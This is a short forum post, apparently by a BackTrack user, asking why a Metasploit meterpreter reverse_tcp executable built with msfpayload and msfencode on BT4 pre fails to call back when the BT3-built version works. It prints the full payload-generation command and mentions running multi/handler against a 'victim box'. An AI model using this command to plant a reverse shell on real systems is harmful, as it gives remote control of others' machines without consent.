.i'm trieing to look back at the phoenix910 post, it's about encoding the payload ,meterpreter reverse_tcp and executing it on the victime box

./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=5555 R | ./msfencode -b '' -t exe -o output.exe

.no problem with bt3 and ./msfencode .the output.exe works fine ,and the victim connect back

.but the same output.exe that was encoded on the bt4 pre, same command used, it's not working!

.in the first place i thought it was some problem with the nat or some iptables rulez .but i run packetyzer on the victim box and no packets has been sent, no connection tried

.tried with updated msf but no good.
.the funny part is ,that the old output.exe that was encoded on a bt3 works on the victim box and connect back to bt4pre, with multi/handler started ,with the options set (LHOST= LPORT=5555)
.that could be the problem with the encoder or something, maybe ruby lib.s
.any ideas?
